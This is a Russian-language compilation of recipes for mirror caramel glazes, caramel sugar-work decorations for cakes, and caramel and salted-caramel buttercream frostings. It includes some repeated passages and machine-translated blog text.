    5. Ставят карамельную глазурь на ледяную баню. Помешивают периодически, пока масса не приобретёт эластичную текучую консистенцию.

    Карамельная глазурь зеркальная на сливках

    Благодаря жирным сливкам вкус жидкой карамели становится необычайно нежным. Текстура глазури очень эластичная, приятная в работе.

    Ингредиенты:

    Сахар коричневый – 250 г;

    Пудра сахарная – 450 г;

    Масло сливочное – 120 г;

    Сливки (35%) – 1/3 ст.;

    Экстракт ванили – 1/3 ч. л.

    Технология приготовления:

    1. В кастрюльке с толстым дном растапливают масло. Добавляют сахар. Прогревают на среднем огне, пока не растворятся кристаллы.

    2. Вливают сливки. Размешивают. Варят при медленном кипении 2 минуты.

    3. Огонь выключают. В массу вмешивают ванильный экстракт. Остужают.

    4. Ёмкость с горячей карамельной глазурью ставят на ледяную баню.

    5. Частями вводят сахарную пудру, интенсивно перебивая блендером.

    6. Готовую глазурь процеживают через мелкое сито.

    Если эмульсия получится излишне густой, перед нанесением на торт в неё можно добавить немного тёплых сливок.

    Зеркальная карамельная глазурь с молочным шоколадом и сгущёнкой

    Потрясающе красивое украшение десертов с отражающей поверхностью приятного шоколадно-орехового цвета. Благодаря желатину глазурь хорошо застывает, имеет необыкновенно мягкий вкус.

    Ингредиенты:

    Сахар – 100 г;

    Инвертный сироп – 100 г;

    Вода – 110 мл;

    Шоколад молочный – 100 г;

    Молоко сгущённое (не варёное) – 70 г;

    Желатин – 1 ч. л.

    Технология приготовления:

    1. Желатин заливают 60 мл воды. Оставляют набухать.

    2. В кастрюльке с толстым дном плавят сахар.

    3. Инвертный сироп соединяют с 50 мл воды. Ставят на медленный огонь. Постоянно помешивают, чтобы консистенция получилась однородной до момента закипания.

    4. Выливают кипящий разбавленный водой инвертный сироп в расплавленный сахар тонкой струйкой. Массу всё время размешивают.

    5. В чашу для блендера кладут кусочки молочного шоколада, вливают сгущёнку. Добавляют набухший желатин.

    6. Заливают всё горячей жидкой карамелью. Перебивают эмульсию блендером на малых оборотах до однородности.

    Если карамельная глазурь с шоколадом получилась прозрачной или цвет слишком тёмный, исправить ситуацию поможет белый пищевой краситель. Готовую эмульсию перед применением желательно сутки выдержать в холодильнике. Перед нанесением на торт подогреть до 32 градусов и перебить блендером.

    Карамельная глазурь на варёной сгущёнке

    В этом рецепте карамельной глазури можно использовать как варёное сгущённое молоко, так и обычные тянучки-ириски. Или, что ещё лучше, конфеты «Коровка» с начинкой из мягкой карамели. Вкус глазури получается в меру сладким, с приятным сливочным оттенком.

    Ингредиенты:

    Сахар – 100 г;

    Варёное сгущённое молоко – 250 г;

    Сливки (20%) 250 мл;

    Желатин – 10 г.

    Технология приготовления:

    1. Желатин заливают 50 мл сливок. Оставляют на 30 минут набухать.

    2. Сгущёнку выливают в толстодонную кастрюлю. Всыпают сахар. Добавляют сливки. Перемешивают.

    3. Смесь прогревают на среднем огне до растворения сахара.

    4. Снимают с огня.

    5. Карамель чуть остужают. Добавляют набухший желатин. Перемешивают до однородности.

    Готовую карамельную глазурь на варёной сгущёнке процеживают через сито. Накрывают пищевой плёнкой для исключения контакта с воздухом и оправляют настаиваться в холодильнике минимум на 8 часов. Перед нанесением на торт подогревают до 35 градусов.

    Тонкости нанесения карамельной глазури на торт

    • Идеальная карамельная глазурь имеет вид однородной эмульсии. Поэтому после соединения всех компонентов массу тщательно пробивают блендером. Прибор включают на минимальные обороты и опускают в чашу под углом 45 градусов. Важно не допустить образования пузырьков, иначе текстура эмульсии получится рыхлой. Если всё-таки этого не удалось избежать, горячую массу процеживают через мелкое сито.
    • Готовую карамельную глазурь не запрещается использовать сразу после приготовления. Но лучше дать ей застыть в течение 8–15 часов в холодильнике под пищевой плёнкой. Хранят жидкую карамель в морозилке (до 3 месяцев) или в холодильнике (7–10 дней).
    • Перед применением застывшую густую эмульсию подогревают до рабочей температуры (в зависимости от рецепта 30–45 градусов) и повторно пробивают блендером. Важно не перегреть глазурь, иначе на торте она образует слишком тонкий, просвечивающий слой. Но нельзя поливать десерты и холодной карамельной глазурью – слой получится слишком толстым и неровным.
    • Наносить карамельную глазурь можно на желированный и твёрдый крем (творожный, сливочный, масляный). При этом к моменту украшения десерт должен быть охлаждён в холодильнике (8–12 часов) или выдержан в морозильной камере 1–2 часа.
    • Объём карамельной глазури должен быть всегда большим, чем необходимо для создания сплошного покрытия на торте. Десерт устанавливают на подставку и широкое блюдо, чтобы жидкая карамель свободно стекала с его боков.
    • Глазурь выливают спирально, начиная с центра изделия. С плоского верха торта излишки карамели снимают одним движением широкого кондитерского ножа. Остатки глазури, собравшиеся на блюде, можно собрать и использовать повторно.
    • Десерт, покрытый карамельной глазурью, для полного застывания отправляют в холодильник минимум на час.

    Украшения из ливной карамельной массы

    Из вязкой густой карамельной массы, имеющей температуру около 70°, можно приготовить украшения для тортов в виде фонтанов, куполов, подставок, паутины и т. п. Чтобы украшения из карамельной массы быстро не засахаривались и не темнели, лучше всего при варке карамели употреблять рафинад или тщательно очищенный сахарный песок. Патоку для этого нужно брать светлую карамельную; чем больше употребляют патоки, тем более пластичной получается карамельная масса. Если патоку заменяют другими антикристаллизаторами (инвертным сиропом, разными кислотами) или уменьшают дозу патоки, карамельная масса после охлаждения ниже 70° быстро застывает, что затрудняет формовку. При изготовлении карамельной массы следует иметь в виду, что чем меньше добавляют патоки, тем больше надо добавлять воды. Карамельный сироп приготовляют так же, как и помадный, только карамельную массу, предназначенную для украшений, варят маленькими порциями в небольшой посуде на сильном огне, так как при варке на медленном огне карамельная масса получается желтого цвета. Для варки карамельной массы берут сахар, растворяют его в горячей воде, после чего края посуды обмывают водой. После этого сироп варят. Как только на его поверхности появится пена, ее тщательно удаляют. После закипания сиропа вновь обмывают края кастрюли, накрывают посуду крышкой и уваривают сироп до 118°, добавляют нагретую до 50° патоку и, уменьшив немного нагрев, уваривают массу до карамельной пробы 158-163°. Чтобы цвет карамельной массы не изменился, ее охлаждают немедленно после варки. Посуду с карамельным сиропом погружают на несколько секунд в холодную воду пли карамельный сироп выливают на холодный мрамор или противень, слегка смазанные жиром. Жир должен быть без влаги, запаха и посторонних примесей. Расплывающуюся по мрамору карамель загибают при помощи широкого ножа, также смазанного жиром. Подкрашивают карамельную массу растворенными пищевыми красками. При высоком нагреве краски разлагаются и свертываются, поэтому их кладут после охлаждения карамельной массы до 100°. Консистенция красок должна быть сметанообразной; сухие краски плохо растворяются и в карамели образуют мелкие точки. При подкрашивании карамельной массы в несколько цветов ее разливают порциями на стол с мраморной крышкой или в маленькие сковороды и подкрашивают отдельно. Если нужно подогреть карамельную массу, то ее кладут на сковороду и ставят в жарочный шкаф, печь или нагревательные приборы. Ароматизировать и подкислять карамельную массу разными кислотами и эссенциями следует после ее охлаждения до 80-90°, так как при более высокой температуре некоторые виды кислот разрушаются, а ароматические вещества улетучиваются. Лучше всего сделать пасту и замесить ее в карамельную массу. На 1 кг карамельной массы взять 8 г растертой виннокаменной кислоты, 3 г фруктовой эссенции и 2 г разведенной краски. Изделия из карамельной массы обладают способностью довольно быстро поглощать влагу из воздуха, отчего поверхность их делается мокрой, липкой, теряет блеск, покрывается засахарившейся грязноватой корочкой, под которой продолжается дальнейшее разрушение изделий. Чтобы изделия из карамели не разрушались, нужно придерживаться следующих правил: а) добавлять в карамельную массу патоку и кислоту в дозах, не превышающих нормы; б) вырабатывать изделия из карамельной массы в теплом сухом помещении; в) не выносить карамельные изделия из горячего помещения в холодное и наоборот; г) формовать карамельные изделия руками, предварительно вымыв их квасцами, благодаря чему руки не увлажняются; д) обмакивать карамельные изделия в тиражный сироп; е) готовые карамельные изделия подержать под паром 1 секунду, обсыпать белым или цветным сахарным песком и затем подсушить. Фонтан из карамельной массы делают для украшения тортов. На столе с мраморной крышкой нужно нарисовать шесть фигур в виде сучков одинакового размера, которые слегка покрыть растопленным жиром. Из оберточной бумаги свернуть четыре корнетика одинакового размера, плотно вложить их один в другой и склеить яйцами, тонкий конец корнетика срезать, чтобы образовалось отверстие диаметром 5 мм. Этот корнетик делается для того, чтобы сохранить температуру карамельной массы и не обжигать руки при работе с ней. После этого свернуть корнетик из пергаментной бумаги, который вложить в лорнетики из оберточной бумага, чтобы тонкий конец пергаментного корнетика выступал наружу. Затем обрезать тонкий конец корнетика из пергамента для образования отверстия диаметром не более 1 мм. В корнетик налить до половины его объема карамельную массу, закрыть сначала пергаментный корнетик, а затем остальные. Из приготовленного корнетика выдавить карамель тонкой ниткой по контуру заранее нарисованных изображений. Затем сучок, пока он еще гибкий, осторожно снять и передвинуть на другое место для охлаждения. После этого на стол с мраморной крышкой налить карамельную массу, придавая ей форму круглой небольшой лепешки, в которую вставить подготовленные остывшие карамельные сучки. Концы сучков сверху склеить горячей карамельной массой. Купол изготовляют для украшения тортов и других заказных изделий. На металлическую форму или посуду куполообразной формы нанести тонкий слой жира. После охлаждения жира из корнетика выпустить на форму по заранее намеченным на ней рисункам карамельную массу. Основание формы обвести более толстым слоем карамельной массы. Когда карамельная масса немного остынет, осторожно отделить карамельный купол от формы. Для этого его немного приподнять пальцами и повернуть, но до полного остывания не снимать с формы. После полного остывания на карамельный купол наклеить глазированные карамелью орехи, фрукты или цветы из карамели, марципана и осторожно снять изделие с формы. Купол можно приготовить из карамели разных цветов. Тарелочки и подставки сделать из уваренной до 163° карамельной массы, которую охладить и быстро раскатать в лепешку на согретой доске. Лепешки поместить в смазанные жиром формы разной величины и фасона (узкие, плоские, в виде тарелок). Листья делают из ливной карамели, подкрашенной в зеленый цвет. На половинке картофеля прорезать небольщие жилки, напоминающие жилки листа, после этого картофель окунуть в горячую карамельную массу и положить на стол с мраморной крышкой, смазанной жиром. Карамельный лист, освобожденный от картофеля, в теплом виде можно загибать и придавать ему различную форму. Карамельную паутину приготовляют при помощи проволочного веничка, концы которого окунают в горячую карамельную массу, и образовавшиеся на концах проволочек тонкие карамельные нити наносят на специально расставленные тонкие металлические прутья или деревянные палочки. Мелочь из карамели нужно делать при помощи корнетика. На смазанный жиром мрамор или на кондитерский железный лист высадить всевозможные фигурки, которые использовать для украшения тортов, пирожных и других изделий.

    Сложно найти материал для украшения десертов, который смотрелся бы лучше, чем карамель… но чудо получается только в умелых руках. Чтобы делать карамельные сетки и сахарные цветы, требуется большой опыт. А вот с фруктами и ягодами в карамели гораздо проще. Смотрится все равно эффектно.

    Карамель

    Что нужно:

    • 4,5 ст. л. холодной воды

    Что делать:

    1. Сотейник с толстым дном сполосните холодной водой, всыпьте сахар и добавьте воду.

    2. Поставьте сотейник на небольшой огонь и прогрейте почти до кипения, постоянно помешивая силиконовой лопаточкой или деревянной ложкой. Мешайте аккуратно, стараясь не забрызгивать стенки сотейника.

    3. Как только сахар растает, перестаньте мешать и доведите смесь до кипения. Варите, пока не появятся крупные пузырьки, а карамель не приобретет янтарный цвет. Образующиеся кристаллы сахара на стенках сотейника аккуратно убирайте смоченной в холодной воде кулинарной кисточкой — они не должны попасть в сироп. Ни в коем случае не мешайте кипящую карамель, но время от времени измеряйте температуру при помощи кулинарного термометра.

    4. Если у вас нет кулинарного термометра, определить температуру можно другим способом. Возьмите 1 ч. л. сиропа и вылейте в стакан с холодной водой. Подождите пару секунд, достаньте чуть застывшую карамель и слепите шарик. Шарик растекается — сироп не готов.

    5. Если шарик очень мягкий, сироп для глазури готов (температура около 118 °С). Если шарик твердый и ломкий — это уже хрустящая карамель, причем она может быть светлой (155 °С) и темной (170 °С): от этого зависит вкус. Слишком темная карамель горчит.

    6. Готовый сироп снимите с огня, дайте постоять не более 5 минут. Если вам кажется, что карамель немного переварилась, поставьте сотейник в кастрюлю с холодной водой — так она быстрее остынет и не будет «сама себя готовить». Окунать фрукты, ягоды, орехи, делать сахарные нити необходимо очень быстро, пока карамель не остыла и не загустела.

    Яблоки и орехи в карамели

    Что нужно:

    • 1 стакан мелкокристаллического сахара
    • 4,5 ст. л. холодной воды
    • яблоки
    • орехи
    • растительное масло для смазывания кулинарной бумаги

    Что делать:

    1. Яблоки помойте и обсушите, орехи переберите. Яблоки нарежьте дольками, очистите от семян, у орехов используйте только целые ядра.

    2. Дольки яблок тщательно обсушите при помощи бумажных салфеток — карамель не терпит влаги.

    3. Поставьте сотейник с горячей карамелью на слой бумажных полотенец. Рядом, с одной стороны — подготовленные яблоки и орехи, с другой — смазанную маслом кулинарную бумагу. Насадите на длинную деревянную шпажку дольки яблока, обмакните в горячую карамель и выложите на бумагу, смазанную растительным маслом.

    В посуду, предназначенную для варки карамели, наливают воду в количестве 33-35% к весу сахара, нагревают ее до кипения, затем всыпают сахар и тщательно размешивают. Полученный раствор доводят до кипения, добавляют патоку, снова нагревают до кипения, процеживают через сито и уваривают до карамельной пробы. Для снятия пробы берут несколько капель карамели, соединяют их в комок и охлаждают. Если охлажденная, затвердевшая карамель не сгибается, легко дробится и не клеится к зубам — значит она готова. Готовую карамельную массу выливают на мрамор, смазанный растительным маслом. К полу остывшей массе добавляют сухую лимонную кислоту, эссенцию, закрашивают пищевой краской и хорошо размешивают.
    На 1 кг сахара — 500-550 г патоки.




    Уваренную карамель закрашивают пищевой краской, затем тянут руками, после чего прижимают к фанерной доске. Пальцами вытягивают вначале сердцевину, дают ей остыть, после чего к ней приклеивают вначале три лепестка небольшого размера, затем четыре и т.д. до тех пор, пока не получится пышная, красивая роза. Точно так же вытягивают карамель и для других цветов. Хорошо в этот момент иметь перед собой образцы цветов из другой массы.


    Карамельные цветы прикрепляют к тонкой упругой проволочке и украшают ими пирамиду из карамели.
    Карамельные листья приготовляют из не тянутой карамели, окрашенной пищевой краской в зеленый цвет; мелкий карамельный убор делается из различных цветов с помощью бумажного конвертика.



    Из вязкой густой карамельной массы, имеющей температуру около 70°, можно приготовить украшения для тортов в виде фонтанов, куполов, подставок, паутины и т. п. Чтобы украшения из карамельной массы быстро не засахаривались и не темнели, лучше всего при варке карамели употреблять рафинад или тщательно очищенный сахарный песок. Патоку для этого нужно брать светлую карамельную; чем больше употребляют патоки, тем более пластичной получается карамельная масса. Если патоку заменяют другими антикристаллизаторами (инвертным сиропом, разными кислотами) или уменьшают дозу патоки, карамельная масса после охлаждения ниже 70° быстро застывает, что затрудняет формовку. При изготовлении карамельной массы следует иметь в виду, что чем меньше добавляют патоки, тем больше надо добавлять воды.


    Карамельный сироп приготовляют так же, как и помадный, только карамельную массу, предназначенную для украшений, варят маленькими порциями в небольшой посуде на сильном огне, так как при варке на медленном огне карамельная масса получается желтого цвета. Для варки карамельной массы берут сахар, растворяют его в горячей воде, после чего края посуды обмывают водой. После этого сироп варят. Как только на его поверхности появится пена, ее тщательно удаляют. После закипания сиропа вновь обмывают края кастрюли, накрывают посуду крышкой и уваривают сироп до 118°, добавляют нагретую до 50° патоку и, уменьшив немного нагрев, уваривают массу до карамельной пробы 158—163°. Чтобы цвет карамельной массы не изменился, ее охлаждают немедленно после варки. Посуду с карамельным сиропом погружают на несколько секунд в холодную воду пли карамельный сироп выливают на холодный мрамор или противень, слегка смазанные жиром. Жир должен быть без влаги, запаха и посторонних примесей. Расплывающуюся по мрамору карамель загибают при помощи широкого ножа, также смазанного жиром. Подкрашивают карамельную массу растворенными пищевыми красками. При высоком нагреве краски разлагаются и свертываются, поэтому их кладут после охлаждения карамельной массы до 100°. Консистенция красок должна быть сметанообразной; сухие краски плохо растворяются и в карамели образуют мелкие точки. При подкрашивании карамельной массы в несколько цветов ее разливают порциями на стол с мраморной крышкой или в маленькие сковороды и подкрашивают отдельно.


    Если нужно подогреть карамельную массу, то ее кладут на сковороду и ставят в жарочный шкаф, печь или нагревательные приборы. Ароматизировать и подкислять карамельную массу разными кислотами и эссенциями следует после ее охлаждения до 80—90°, так как при более высокой температуре некоторые виды кислот разрушаются, а ароматические вещества улетучиваются. Лучше всего сделать пасту и замесить ее в карамельную массу. На 1 кг карамельной массы взять 8 г растертой виннокаменной кислоты, 3 г фруктовой эссенции и 2 г разведенной краски. Изделия из карамельной массы обладают способностью довольно быстро поглощать влагу из воздуха, отчего поверхность их делается мокрой, липкой, теряет блеск, покрывается засахарившейся грязноватой корочкой, под которой продолжается дальнейшее разрушение изделий. Чтобы изделия из карамели не разрушались, нужно придерживаться следующих правил: а) добавлять в карамельную массу патоку и кислоту в дозах, не превышающих нормы; б) вырабатывать изделия из карамельной массы в теплом сухом помещении; в) не выносить карамельные изделия из горячего помещения в холодное и наоборот; г) формовать карамельные изделия руками, предварительно вымыв их квасцами, благодаря чему руки не увлажняются; д) обмакивать карамельные изделия в тиражный сироп; е) готовые карамельные изделия подержать под паром 1 секунду, обсыпать белым или цветным сахарным песком и затем подсушить.


    Фонтан из карамельной массы делают для украшения тортов. На столе с мраморной крышкой нужно нарисовать шесть фигур в виде сучков одинакового размера, которые слегка покрыть растопленным жиром. Из оберточной бумаги свернуть четыре корнетика одинакового размера, плотно вложить их один в другой и склеить яйцами, тонкий конец корнетика срезать, чтобы образовалось отверстие диаметром 5 мм. Этот корнетик делается для того, чтобы сохранить температуру карамельной массы и не обжигать руки при работе с ней. После этого свернуть корнетик из пергаментной бумаги, который вложить в лорнетики из оберточной бумага, чтобы тонкий конец пергаментного корнетика выступал наружу. Затем обрезать тонкий конец корнетика из пергамента для образования отверстия диаметром не более 1 мм. В корнетик налить до половины его объема карамельную массу, закрыть сначала пергаментный корнетик, а затем остальные. Из приготовленного корнетика выдавить карамель тонкой ниткой по контуру заранее нарисованных изображений. Затем сучок, пока он еще гибкий, осторожно снять и передвинуть на другое место для охлаждения. После этого на стол с мраморной крышкой налить карамельную массу, придавая ей форму круглой небольшой лепешки, в которую вставить подготовленные остывшие карамельные сучки. Концы сучков сверху склеить горячей карамельной массой. Купол изготовляют для украшения тортов и других заказных изделий. На металлическую форму или посуду куполообразной формы нанести тонкий слой жира. После охлаждения жира из корнетика выпустить на форму по заранее намеченным на ней рисункам карамельную массу. Основание формы обвести более толстым слоем карамельной массы. Когда карамельная масса немного остынет, осторожно отделить карамельный купол от формы. Для этого его немного приподнять пальцами и повернуть, но до полного остывания не снимать с формы. После полного остывания на карамельный купол наклеить глазированные карамелью орехи, фрукты или цветы из карамели, марципана и осторожно снять изделие с формы. Купол можно приготовить из карамели разных цветов.


    Тарелочки и подставки сделать из уваренной до 163° карамельной массы, которую охладить и быстро раскатать в лепешку на согретой доске. Лепешки поместить в смазанные жиром формы разной величины и фасона (узкие, плоские, в виде тарелок). Листья делают из ливной карамели, подкрашенной в зеленый цвет. На половинке картофеля прорезать небольщие жилки, напоминающие жилки листа, после этого картофель окунуть в горячую карамельную массу и положить на стол с мраморной крышкой, смазанной жиром. Карамельный лист, освобожденный от картофеля, в теплом виде можно загибать и придавать ему различную форму. Карамельную паутину приготовляют при помощи проволочного веничка, концы которого окунают в горячую карамельную массу, и образовавшиеся на концах проволочек тонкие карамельные нити наносят на специально расставленные тонкие металлические прутья или деревянные палочки. Мелочь из карамели нужно делать при помощи корнетика. На смазанный жиром мрамор или на кондитерский железный лист высадить всевозможные фигурки, которые использовать для украшения тортов, пирожных и других изделий.


    Ингредиенты:
    сахар
    1 кг
    патока
    200 г
    вода
    400 г

    для сообщества

    Ни для кого не секрет, что сладкая выпечка завершает праздничную трапезу. Украшение сладкой выпечки поможет проявить новые грани ваших способностей. При оформлении кондитерских изделий каждая женщина выступает в роли дизайнера: Вы можете рисовать кремом, белковой, фруктовой или мучной рисовальными массами, а так же жидким шоколадом. Вы можете продемонстрировать свое мастерство по изготовлению малой пластики, если говорить языком специалистов — изготавливать фигурки и цветы из шоколада, марципана, карамели.
    Начинать лучше с простого и постепенно переходить к более сложным видам украшения.

    Как сделать цветы из карамели


    Как же сделать столь прекрасное и вкусное украшение.

    Карамель — еще один продукт, получаемый из сахара с добавлением вкусовых, красящих и ароматических веществ.

    Основной рецепт карамели:
    всыпать сахар в кастрюлю, залить горячей водой и размешать до полного растворения. Смыть налипший на внутренние края кастрюли сахар, потом поставить ее на сильный огонь и варить не помешивая.

    Как только сироп начнет закипать, ложкой снять пену, снова смыть с краев кастрюли брызги сахарного сиропа, накрыть ее плотно крышкой и варить сироп до пробы на карамель. Карамель готова, когда из небольшого количества сиропа, остуженного в холодной воде, не удается скатать шарик. Если варить меньше – получится помадка, из которой после охлаждения шарик скатать можно.

    На 1стакан сахарного песка: 3/4 стакана воды, 3-5 капель уксусной эссенции или 10-12 капель раствора лимонной кислоты, ароматизатор, пищевая краска.

    Листики из такой карамели можно изготовить с помощью штампика. Из картофеля можно вырезать штампик, наподобие листа с прожилками. Штампик укрепить на вилке рисунком вниз и обмакнуть в горячую карамель. Затем уложить его на смазанную маслом тарелку. Карамель немного приклеится к тарелке, и овощной штампик отделится. Пока листик не остыл растягиванием или перегибанием на скалке придайте ему нужную форму.



    Карамельные цветы

    1. Разделите овал на два части.
    2. Скатайте одну из половинок в виде жгутика. Это будет середина цветка — розы.
    3. Вокруг жгутика оберните и другие лепестки, немного прижимая их.
    4. Один за другим прикрепите остальные лепестки, немного отгибая наружу их верхний край.

    Полученные цветы — украшение хоть куда. Любая маленькая победа окрылит вас и поможет поверить в свои силы. Со временем сможете воплощать все свои задумки, с опытом к вам обязательно придет настоящее мастерство.

    Читайте также…

    Рецепт карамельной глазури • The Gold Lining Girl

    Карамельная глазурь в точности соответствует названию — все начинается с быстрого и легкого домашнего карамельного соуса, который взбивается в густую, сливочную, роскошную глазурь! Подобно глазури из коричневого сахара , эта карамельная глазурь обладает потрясающим вкусом и глубиной, и ею можно украсить множество различных угощений!

    Чтобы легко просмотреть все рецепты блога, подпишитесь на Pinterest!

    Я не создаю много постов, посвященных только глазури, но когда глазурь или масляный крем особенные, они заслуживают особого внимания. Карамельная глазурь это нечто особенное.

    Я начала выделять глазури свой собственный блог, когда подруга сказала мне, что она не обязательно хочет делать кексы или пирожные с нуля, но она найдет домашнюю глазурь, чтобы оживить их. Вот куда она вложит свое время и усилия — хорошая глазурь.

    Согласен. Я предпочел бы домашнюю глазурь на пирожных в коробках или торт, чем консервированную, купленную в магазине глазурь на выпечке с нуля.Верно??

    Эта карамельная глазурь должна пополнить ваш арсенал. Это немного больше работы, чем многие глазури, потому что требуется приготовление пищи, но в целом это простой рецепт, и он того стоит.

    Делается это так: смешайте коричневый сахар, масло и густые сливки в кастрюле и нагревайте, пока сахар полностью не растворится. Вы почти приготовили карамельный соус! Доваривать до карамелизации не будем, но на карамельном соусе окантовка.Добавьте ваниль, дайте ей остыть, затем взбейте ее с сахарной пудрой в глазурь на основе коричневого сахара со вкусом карамели. Ура!

    Я включил много фотографий процесса. Пожалуйста, извините за плохое освещение в некоторых кадрах! Иногда мне приходится что-то делать, когда я могу, а иногда это включает в себя раннее утро или вечер, когда освещение не оптимально. 🙂

    Вам понравится этот рецепт, и меня всегда особенно привлекает Карамельная глазурь осенью.Что теперь с этим делать?

    Какие десерты и выпечка сочетаются с карамельной глазурью

    или глазурью из коричневого сахара?

    Некоторые из моих любимых идей:

    • Банановый торт: такой влажный и банановый, очень мягкий и сладкий. С глазурью на основе коричневого сахара у него будет вкусовой профиль, похожий на Bananas Foster!
    • Сахарное печенье амишей: потому что они идут с чем угодно .
    • Пирог с корицей и штрейзелем и цуккини: кекс, наполненный специями и штрейзелем, требует глазури из коричневого сахара .
    • Тыквенно-морковный торт: я обычно использую глазурь из сливочного сыра, но Карамельная глазурь прекрасно дополнит его.
    • Хлеб с тыквой и цуккини: мне нравится этот хлеб с коричневой глазурью из масла, но глазурь из коричневого сахара тоже была бы великолепна.

    Заменители карамельной глазури:

    Откровенно говоря, мало места для замены, но каждый ингредиент легко найти и доступен.Несколько замечаний —

    • Для рецепта требуется масло, а не маргарин. Масло обязательно.
    • В крайнем случае, вы можете заменить цельное молоко или сгущенное молоко густыми сливками, но это не идеально.

    Способы разнообразить карамельную глазурь? На ум приходят два больших:

    • Добавить специи. Чайная ложка корицы и/или чайная ложка приправы для тыквенного пирога могут действительно добавить еще один слой воодушевления к этому рецепту глазури из коричневого сахара .
    • Добавить выпивку. Я бы начал с 2-3 столовых ложек темного рома, бурбона или виски (возможно, Fireball!), попробовал на вкус и добавил еще столовую ложку или две, в зависимости от предпочтений. Держите под рукой дополнительную сахарную пудру, чтобы при необходимости снова загустить ее.

    Примечания по хранению и заморозке карамельной глазури:

    Хранить в плотно закрытой таре 3–4 дня при комнатной температуре, до 2 недель в холодильнике и до 3 месяцев в морозильной камере.

    В случае замораживания разморозьте глазурь до комнатной температуры, и она может быть более твердой, чем если бы она никогда не замораживалась. Если это так, поместите его в микроволновую печь на 7-10 секунд, чтобы нагреть, хорошо перемешайте, а затем, если необходимо, еще на несколько секунд. Серьезно, это занимает всего несколько секунд, поэтому не используйте микроволновую печь с интервалом более 7-10 секунд.

    Ищете другие интересные и уникальные глазури? Вот некоторые рок-звезды:

    Что насчет глазури? Тоньше, чем глазурь или масляный крем, и его можно разбрызгивать! ->

    Рецепт карамельной глазури

    Сара

    Карамельная глазурь  в точности так, как звучит: приготовление простого и быстрого домашнего карамельного соуса превращается в густую сливочную роскошную глазурь! Подобно глазури из коричневого сахара , эта карамельная глазурь обладает невероятным вкусом и насыщенностью и может украшать самые разные лакомства!

    Время подготовки 15 минут

    Время приготовления 15 минут

    Общее время 30 минут

    Ингредиенты  

    • 1 чашка сливочного масла, нарезанного кусочками или кубиками, без маргарина
    • 1 1/2 чашки упакованного коричневого сахара
    • 1/2 чашки густых сливок в щепотке, могут заменить цельное молоко или сгущенное молоко
    • 2 ч. л. .экстракт ванили
    • 4-5 чашек сахарной пудры

    Инструкции 

    • В средней кастрюле на среднем огне смешайте масло, коричневый сахар и густые сливки.

    • Доведите до кипения, регулярно помешивая. Можно время от времени помешивать, пока смесь тает и нагревается, но не забывайте постоянно помешивать, когда она начнет кипеть и закипит.

    • После закипания продолжать варить 1-2 минуты или пока сахар не растворится.Когда он потеряет свою зернистость и крупинки сахара перестанут быть видны, снимите его с огня.

    • После снятия с огня добавить ванильный экстракт.

    • Охладить смесь до комнатной температуры.

    • Переложите карамельную смесь в большую миску. Установите на миксер насадку-венчик.

    • Включив миксер на низкую скорость, постепенно добавьте 4 стакана сахарной пудры.

    • Взбивайте на средней скорости в течение 2 минут.

    • При необходимости добавьте еще сахарной пудры для достижения желаемой консистенции и взбивайте в течение 1 минуты на средней скорости до достижения нужной консистенции.

    • Мороз что угодно!

    • Хранить в плотно закрытой таре 3–4 дня при комнатной температуре, до 2 недель в холодильнике и до 3 месяцев в морозильной камере.

    Ключевое слово масляный крем из коричневого сахара, глазурь из коричневого сахара, карамельный масляный крем, карамельная глазурь, рецепт карамельной глазури

    Рецепт глазури с соленой карамелью | Приготовлено интровертом

    Попробуйте добавить соленую карамельную глазурь к своему следующему торту, чтобы получить необыкновенный десерт.Сочетание сладкого и соленого просто волшебно. Он выделяется из ванильно-шоколадной глазури.

    Соленая карамель хорошо сочетается со многими вкусами. Шоколад, ваниль, яблоко и тыква, и это лишь некоторые из них. Это также идеальное дополнение к домашним творожным пирожным.

    Домашний карамельный соус придает этой глазури такой невероятный вкус и текстуру. Приготовьте карамель заранее, и вы сможете быстро взбить эту глазурь.

    Добавление соли уравновешивает чрезвычайную сладость.Посмотрим правде в глаза, американский масляный крем и карамель сами по себе очень сладкие. Сочетание этих двух факторов приводит к перегрузке сахаром. Но в этом рецепте глазури соль заставляет их прекрасно работать вместе.

    Однажды попробовав эту легкую и пушистую карамельную глазурь, вы будете возвращаться к ней снова и снова.

    Почему этот рецепт работает
    • Для этого рецепта не нужны густые сливки! Карамельный соус довольно жидкий и сделает глазурь более жидкой, чем обычно. Добавление сливок сделает его слишком жидким.
    • Отрегулируйте уровень соли по своему вкусу. Смешивайте понемногу, пока он не станет идеальным для вас!
    • Хотя рецепт требует домашнего карамельного соуса, вы можете использовать купленный в магазине. Это будет работать просто отлично.

    Рецепт глазури из соленой карамели

    Я стал одержим поиском лучших рецептов глазури. Мои последние фавориты включают клубничную глазурь, глазурь с арахисовым маслом и глазурь из швейцарского безе. А сегодня я добавляю к этому списку глазурь с соленой карамелью.

    Вкус карамели действительно чувствуется, а текстура очень шелковистая. Я использовала ту же технику, что и мой ванильный масляный крем, чтобы сделать основу.

    Сахарная пудра очень хорошо взбита, чтобы глазурь получилась гладкой и легкой. Карамель добавляется в последнюю очередь. Если вы добавите карамель до того, как сахар полностью растворится, вы получите зернистую глазурь, которую будет трудно исправить.

    Моя карамельная глазурь будет немного покрываться корочкой, имейте это в виду, если вы планируете дать ей постоять некоторое время.


    Ингредиенты для глазури из соленой карамели

    Вам нужно всего четыре ингредиента для масляного крема с соленой карамелью. Но вам понадобится больше, чтобы приготовить карамельный соус, поэтому обязательно перейдите к этому посту и возьмите рецепт.

    • Масло: Используйте несоленое масло, чтобы контролировать количество соли в рецепте. И убедитесь, что он размягчился до комнатной температуры. Он не должен быть жирным или липким.
    • Сахарная пудра: Я всегда ищу кондитерский сахар, который содержит кукурузный крахмал в качестве антислеживателя.Лучше всего подходит для американского сливочного крема.
    • Карамельный соус: Приготовьте карамельный соус самостоятельно или вы можете использовать купленный в магазине.
    • Соль: Я предпочитаю использовать мелкую морскую соль. И вам может не понадобиться полное количество, указанное в рецепте. Настройте его на свой вкус.

    Для приготовления этой глазури вам понадобится:


    Как приготовить глазурь из соленой карамели

    Эту глазурь из масляного крема удивительно легко приготовить. Самое сложное — приготовить карамель.Эти шаги включены в мой рецепт домашней карамели.

    Карамель — Карамель сделана по моему проверенному рецепту. Я предлагаю сделать это за день. Перед использованием он должен полностью остыть.

    Глазурь  — В качестве основы я использовала ванильный масляный крем, но немного изменила его. Вы просто взбиваете масло и сахарную пудру вместе, пока она не перестанет казаться песчаной.

    Шаг 1: взбить масло

    В чаше стационарного миксера с насадкой-лопаткой или в большой миске с ручным электрическим миксером взбейте сливочное масло на средне-высокой скорости в течение 5 минут.

    Он должен быть бледным и кремовым.

